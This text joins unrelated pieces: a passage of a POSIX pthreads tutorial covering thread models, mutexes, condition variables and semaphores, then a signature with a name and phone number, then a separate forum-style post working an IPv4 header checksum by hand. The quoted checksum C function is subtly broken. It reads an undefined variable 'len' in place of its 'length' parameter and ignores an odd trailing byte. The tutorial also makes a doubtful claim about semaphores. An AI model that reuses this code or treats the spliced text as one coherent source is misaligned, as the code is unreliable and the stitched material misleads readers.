The peer model is similar to the boss/worker model except once the worker pool has been created, the boss becomes the another thread in the thread pool, and is thus, a peer to the other threads.

Pattern III :: Pipeline

Similar to how pipelining works in a processor, each thread is part of a long chain in a processing factory. Each thread works on data processed by the previous thread and hands it off to the next thread. You must be careful to equally distribute work and take extra steps to ensure non-blocking behavior in this thread model or you could experience pipeline "stalls."

Protecting Shared Resources

Because most programs are more complex than a matrix-multiplication problem (which can be completely parallelized with speedup close to 100%, assuming you have enough processors) we must synchronize our threads and protect globally shared data across multiple threads.

Mutual Exclusion

Mutual exclusion is the method of serializing access to shared resources. You do not want a thread to be modifying a variable that is already in the process of being modified by another thread! Another scenario would be a dirty read where the value is in the process of being updated and another thread reads an old value. 

Mutual exclusion (most often referred to as mutex) allows the programmer to "attach" locks to resources. If a thread wishes to modify or read a value from a shared resource, the thread must first gain the lock. Once it has the lock it may do what it wants with the shared resource while it has the lock because no other thread should have access to that variable. Once the thread finishes using the shared resource, it unlocks the mutex, which allows other threads to access the resource. This is referred to as serializing access to the shared resource. You can think of a mutex as a treasure chest, and the resource it is protecting lies within the chest. Only one person can have the key to the chest at any time, therefore, is the only person allowed to look or modify the contents of the chest at that time. 

The code between the lock and unlock calls to the mutex, is referred to as the critical section. Minimizing time spent in the critical section allows for greater concurrency because it reduces the time other threads must wait to gain the lock. Therefore, it is important for a thread programmer to minimize critical sections.

Problems with Mutexes

An important problem associated with mutexes is the possibility of deadlock. A program can deadlock if two (or more) threads have stopped execution or are spinning permanently. The simplest deadlock situation: thread 1 locks lock A, thread 2 locks lock B, thread 1 wants lock B and thread 2 wants lock A. Instant deadlock. You can prevent this from happening by making sure threads acquire locks in an agreed order (lock ordering). Deadlock can also happen if threads do not unlock mutexes properly. 

Race conditions occur when multiple threads share data and at least one of the threads accesses the data without going through a defined synchronization mechanism (Nichols 203). This could result in erroneous results even in an inconsistent manner which makes race conditions particularly difficult to debug. Library calls outside of your program's control are common culprits. Make sure you take steps within your program to enforce serial access to shared file descriptors and other external resources. On most Solaris man pages, you can find out if your library call is safe to use in reentrant code. Towards the bottom of the man page, you will see Categories of MT Library Calls. MT Safe means that the function can be called concurrently from different threads. MT Hot are "fast" MT Safe functions (usually not found on man pages). MT Unsafe means that the function cannot be called concurrently. Alternative means that there are MT Safe equivalents (e.g.gethostbyname() and gethostbyname_r()). 

Another problem with mutexes is that contention for a mutex can lead to priority inversion. A higher priority thread can wait behind a lower priority thread if the lower priority thread holds a lock for which the higher priority thread is waiting. This can be eliminated/reduced by limiting the number of shared mutexes between different priority threads.

Thread Synchronization Primitives

Mutexes are one method of synchronizing threads, however, there are many other ways.

Synch Technique I :: Condition Variables

A popular method of synchronizing multiple threads is through the use of condition variables. Condition variables allow threads to synchronize to a value of a shared resource. Condition variables provide a kind of notification system among threads (Nichols 79). 

For example, you could have a global counter, and once it reaches a certain count a thread activates. The thread that activates once the counter reaches the limit would wait on the condition variable. Other threads signal this condition variable if you want threads waiting/sleeping on this condition variable to wakeup. You can also use broadcast if you want to signal all threads waiting on the condition variable to wakeup. This sounds a bit confusing, but the pthread example below will clarify how condition variables work. 

When waiting on condition variables, the wait should be inside a loop, not in a simple if statement because of spurious wakeups. You are not guaranteed that if a thread wakes up, it is the result of a signal or broadcastcall.

Synch Technique II :: Reader/Writer Locks

It is sometimes useful to allow multiple readers (threads) to read a shared resource variable without having to wait for locks if no thread is writing to the resource. With a multiple reader lock this is possible. Readers can enter the lock and do their business while writers wait until there are no readers left in the lock. Then the writer can modify the value while blocking all new readers from entering the lock. 

Writer starvation is possible with the many reader/single writer lock technique. A priority system can eliminate writer starvation. For more information on r/w locks, see Nichols pgs. 84-89.

Synch Technique III :: Spinlocks

Spinlocks are less commonly used at the user-level. Spinlocks are used frequently in the Linux kernel itself. A spinlock will basically spin on a mutex. If a thread cannot obtain the mutex, it will keep polling the lock until it is free. The advantages to this is that if a thread is about to give up a mutex, you don't have to context switch to another thread. This situation is a bit tricky because you don't know when this might occur, and long spin times will result in poor performance. 

Spinlocks should never be used on uniprocessor machines. Why is this?

Synch Technique IV :: Semaphores

Semaphores are another type of synchronization primitive that come in two flavors: binary and counting. Binary semaphores act much like mutexes, while counting semaphores can behave asrecursive mutexes. Counting semaphores can be initialized to any arbitrary value which should depend on how many resources you have available for that particular shared data. Many threads can obtain the lock simultaneously until the limit is reached. This is referred to as lock depth. 

Semaphores are more common in multiprocess programming (i.e. it's usually used as a synch primitive between processes).

POSIX pthreads

Note: It is assumed that you have a good understanding of the C programming language. If you do not or need to brush up, please review basic C (including pointers and dynamic memory allocation). Here are some resources. 

Now that we have a good foundation of thread concepts, lets talk about a particular thread library, POSIX pthreads. The pthread library can be found on almost any modern OS. 

A few preliminary steps you should take before beginning any pthread coding is to:

1. add #include <pthread.h> in your .c or .h header file(s)
2. define the #define _REENTRANT macro somewhere in a common .h or .c file
3. In your Makefile make sure gcc links against -lpthread
4. Optional: add -D_POSIX_PTHREAD_SEMANTICS to your Makefile (gcc flag) for certain function calls like sigwait()

Pthread Basics

Now let's begin our journey into pthreads... 

A thread is represented by the type pthread_t. Let's begin by examining most of the pthread creation and initializing functions:

int pthread_create(pthread_t *thread, pthread_attr_t *attr, 
                    void *(*start_routine)(void *), void *arg);

int pthread_attr_init(pthread_attr_t *attr);

int pthread_mutex_init(pthread_mutex_t *mutex, 
                       const pthread_mutexattr_t *mutexattr);
 
int pthread_cond_init(pthread_cond_t *cond, 
                      pthread_condattr_t *cond_attr);

pthread_create() example:

 pthread_create(&pt_worker, &thread_attributes, 
               thread_function, (void *)thread_args);

The above will create a pthread pt_worker with thread attributes defined in thread_attributes (this argument can be NULL if you want default thread attributes). The thread code is contained in the function thread_function and is passed in a arguments stored in thread_args. The thread_function prototype would look like this:

void *thread_function(void *args);
 

Immediately after the pthread_create call completes, the thread_function will begin executing. 

pthread_XXXX_init() functions initialize thread attributes, mutexes, and condition variables. mutexattr and cond_attr can be NULL if you are using defaults. Mutexes and condition variables can be initialized to default values using the INITIALIZER macros as well. For example:

pthread_mutex_t count_lock = PTHREAD_MUTEX_INITIALIZER;
 pthread_cond_t count_cond = PTHREAD_COND_INITIALIZER;

Pthread Mutexes

To perform locks and unlocks the following functions are available for you:

 int pthread_mutex_lock(pthread_mutex_t *mutex);

int pthread_mutex_trylock(pthread_mutex_t *mutex);

int pthread_mutex_unlock(pthread_mutex_t *mutex);

pthread_mutex_lock() is a blocking call. If the thread cannot gain the lock, then the thread will block the thread from proceeding until it obtains the lock. pthread_mutex_trylock() will return immediately if the mutex cannot be locked. To unlock a mutex, simply call pthread_mutex_unlock(). An example on using Pthread mutexes:

pthread_mutex_lock(&count_lock);
   count++;
pthread_mutex_unlock(&count_lock);

In the above example, we are incrementing the globally shared count variable. The code between the lock and unlock calls is the critical section. Always try to minimize this section!

Pthread Condition Variables

Here are the pthread condition variable function prototypes:

 int pthread_cond_wait(pthread_cond_t *cond,
                      pthread_mutex_t *mutex);

int pthread_cond_signal(pthread_cond_t *cond);

int pthread_cond_broadcast(pthread_cond_t *cond);

pthread_cond_wait() puts the current thread to sleep. It requires a mutex of the associated shared resource value it is waiting on. pthread_cond_signal() signals one thread out of the possibly many sleeping threads to wakeup. pthread_cond_broadcast() signals all threads waiting on the cond condition variable to wakeup. Here is an example on using pthread condition variables:

pthread_mutex_lock(&count_lock);
   while (count < MAX_COUNT) {
    pthread_cond_wait(&count_cond, &count_lock);
  }
pthread_mutex_unlock(&count_lock);

We are locking the count_lock mutex so we can read the value of count without entering a potential race condition. Notice how the we use a while loop instead of an if statement. This is because of spurious wakeups problem previously mentioned. Just because a thread has been woken does not mean it was due to a pthread_cond_signal() or pthread_cond_broadcast() call. The pthread_cond_wait() call takes the count mutex and condition variable. Why does pthread_cond_wait() require the mutex as well as the conditon variable? It's because it needs to unlock the mutex when going to sleep or you would potentially enter into a deadlock! pthread_cond_wait() if awoken, automatically tries to reacquire the mutex, and will block if it cannot. Using the signal and broadcast functions is self-explanatory. It is recommended that you release any locks that other threads could be waiting on before you signal or broadcast.

Miscellaneous

Here are some suggestions and issues you should consider when creating using pthreads:

• One thing we have been disregarding in the above discussions is return values. You must check all return values! No exceptions!
• Sometimes it is desirable for a thread not to terminate (as in the case of the worker thread pool). This can be solved by placing the thread code in an infinite loop and using condition variables.
• Many of the pthread types can be "free'd" using the pthread_XXXX_destroy() calls.
• pthread_join() can be used to wait on other threads to finish (if the JOINABLE attribute is set). This is useful in creating barriers or other synchronization windows/points.
• To set thread attributes, use the pthread_attr_setXXXX() functions. scope, schedpolicy, and detachstate are only some of the useful attributes you can set on your threads.
• pthread_kill() can be used to deliver signals to specific threads.
• pthread_self() returns a handle on the calling thread.
• pthread_once() can be used to ensure that an initializing function within a thread is only run once.
• There are many, many more useful functions in the pthread library. Consult your man pages or the Nichols text (Appendix C).

Example?

Try google or either of the recommended books below :) Better yet, get your feet wet! Try coding a multithreaded program.

Performance Considerations

The performance gains from using threads is great, but can it be even better? You should consider the following when analyzing your program for potential bottlenecks:

• Lock granularity - How "big" (coarse) or "small" (fine) are your mutex locks? Do they lock your whole structure or fields of a structure? The more fine-grained you make your locks, the more concurrency you can gain, but at the cost of more overhead and potential deadlocks.
• Lock ordering - Make sure your locks are always locked in an agreed order (if they are not, make sure you take steps to rectify situations where locks are obtained in an out-of-order fashion, e.g. by using trylock/unlock calls).
• Lock frequency - Are you locking too often? Locking at unnecessary times? Reduce such occurences to fully exploit concurrency and reduce synchronization overhead.
• Critical sections - This has been mentioned before (twice), but you should take extra steps to minimize critical sections which can be potentially large bottlenecks.
• Worker thread pool - If you are using a Boss/Worker thread model, make sure you pre-allocate your threads instead of creating threads on demand. It doesn't matter to the user how long it took your server to initialize, it only matters how fast it processes his or her request!
• Contention scope - Do your threads perform better when they are in contention with all of the system's processes? Or do they perform better when individually scheduled by the thread library itself? Only experimentation can give you the answers.
• Scheduling class - We have not touched on this topic, but changing the thread scheduling class from FIFO to RR can give better response times. But is this what you really want? Refer to Nichols or Lewis book for more information on thread scheduling classes.
• Too many threads? - At what point are there too many threads? Can it serverely impact and degrade performance? Again, only experimentation will give you the real answers to this question.

Multiprocess Programming

We have explored the very basics of multithreaded programming. What about multiprocess programming? For example, Apache for Linux is a multiprocess program (however Apache for Windows is multithreaded). How are you supposed to synchronize between processes? 

These topics are beyond the scope of this document, but to perform cross-process synchronization, one would use some form of IPC: pipes, semaphores, message queues, or shared memory. Of all of the forms of IPC, shared memory is the fastest (excluding doors). You can use either POSIX or System V semantics when dealing with cross-process resource management, IPC, and synchronization. 

So you may be thinking. What's the better solution, multithreaded, multiprocess, or mixed multithreaded/multiprocess? Again it all depends! Pick the right tool for the task!

Resources

It is impossible to cover more than an introduction to threads with this short tutorial and overview. For more in-depth coverage on threads (like thread scheduling-classes, thread-specific data (TSD), and thread cancelling) and pthread programming I recommend these books: 

Lewis, Bill and Daniel J. Berg. Multithreaded Programming with Pthreads. California: Prentice Hall, 1998. 
Nichols, Bradford, et. al. Pthreads Programming. Beijing: O'Reilly & Associates, Inc., 1998. 

GNU Pth (portable threads) is the "next generation" threads library and may be the future of multithreaded event-driven programming. Take a look here.

--
Siva
9886179349

caliculate IP header checksum

I've read a function that does it pretty good, but i can't "translate" it into a human form so i can do it manually.

here's the code:

Code:

unsigned short checksum(unsigned short *ptr, int length){

register int sum = 0;

u_short answer = 0;

register u_short *w = ptr;

register int nleft = len;

 

while(nleft > 1){

sum += *w++;

nleft -= 2;

}

 

sum = (sum >> 16) + (sum & 0xFFFF);

sum += (sum >> 16);

answer = ~sum;

return(answer);

}

 

 

In theory, the IP checksum is the 16 bit one's complement of the one's complement sum of all 16 bit words in the header, as you may know, not all the IP fields are exactly 16-bit long, so we have to remove and place to sort them in 16 bit words.

We have the following IP packet:

Code:

TS: 18:45:33.398596

IP: 172.16.10.99 > 172.16.10.12

Offset:  Hexadecimal dump                       :  Char dump     :

------:-----------------------------------------:-----------------

0x0000:  4500 003c 1c46 4000 4006 b1e6 ac10 0a63  E..<.F@.@......c

0x0010:  ac10 0a0c                                ..

Fine, now let's analyze it:

The first byte (45) correspond to the two first fields of the IP header, which are IP Version and Internet Header Length (IHL), so, this values tell us that the IP version used is "4", and the IHL is 5 (which actually is 20, because this field is measured in 32-bit multiples).

The second byte (00) correspond to the Type Of Service IP field (ToS), which means that NORMAL PRECEDENCE is set in this packet.

The next two bytes (003C) correspond to the Total length field of the IP header, which tell us that the total length of the packet is 60 (0x16^3 + 0x16^2 + 3x16^1 + Cx16^0 = 60).

The next two bytes (1C46) correspond to the Identification field, which in this packet is 7238 (1x16^3 + Cx16^2 + 4x16^1 + 6x16^0 = 7238).

The next two bytes (4000) correspond to the flags and fragment offset IP header fields, which are divided in 3 bits for the flags and 13 for the fragment offset. Treating the flags field in 3-bit words, it's value is actually 4 (Don't Fragment), and the value for the fragment offset is obviously zero (000).

The next byte (40) correspond to the Time To Live field (TTL), which actually is 64 (4x16^1 + 0x16^0 = 64).

The next byte (06) correspond to the IP protocol field, which is set to 6, so the packet contains a TCP segment on it's payload.

The next two bytes (B1E6) correspond to the IP header checksum of the packet, we'll calculate this "manually" later, so for us, this fields value is actually zero because we're gonna calculate it just as the "sender" did. When receiving, the calculation used is a different method.

Phew... the next four bytes (ac10 0a63) correspond to the Source IP address field, which is "172.16.10.99", and the next four bytes (ac10 0a0c) correspond to the Destination IP address field, which is "172.16.10.12".

Right, we need to sort all of these fields in 16-bit words and convert them into binary, so, it will be like this:

HEX BINARY
4500 0100010100000000
003c 0000000000111100
1c46 0001110001000110
4000 0100000000000000
4006 0100000000000110
0000 0000000000000000 <- The checksum is set to zero.
ac10 1010110000010000
0a63 0000101001100011
ac10 1010110000010000
0a0c 0000101000001100

Okay, let's add all this numbers one by one:

4500 0100010100000000
003c 0000000000111100
453C 0100010100111100 <-- This is the 1st result.


453C 0100010100111100 <-- First result plus next 16-bit word.
1c46 0001110001000110
6182 0110000110000010 <-- This is the 2nd result.

6182 0110000110000010 <-- Second result plus next 16-bit word.
4000 0100000000000000
A182 1010000110000010 <-- This is the 3rd result.

A182 1010000110000010 <-- Third result plus next 16-bit word.
4006 0100000000000110
E188 1110000110001000 <-- This is the 4th result.

..E188 1110000110001000 <--Fourth result plus next 16-bit word.
..AC10 1010110000010000
18D98 11000110110011000 <-- here we see one odd bit (carry), but we have to keep the checksum in "16-bit" words, so we add that odd bit to the result.

18D98 11000110110011000
.8D99 1000110110011001 <--This is the 5th result. 

8D99 1000110110011001 <-- Fifth result plus next 16-bit word.
0A63 0000101001100011 
97FC 1001011111111100 <--This is the 6th result.

..97FC 1001011111111100 <-- Sixth result plus next 16-bit word.
..AC10 1010110000010000
1440C 10100010000001100 <-- Again, there is a carry, so we add it.

1440C 10100010000001100
.440D 0100010000001101 <-- This is the 7th result.

440D 0100010000001101 <-- Seventh result plus next 16-bit word
0A0C 0000101000001100
4E19 0100111000011001 <-- Last result.

Here we're not done yet, we have to apply now the last binary operation, which is the one's complement, and the result (the checksum itself) will be:

4E19 0100111000011001
B1E6 1011000111100110 <-- The IP header checksum.

Easy, huh?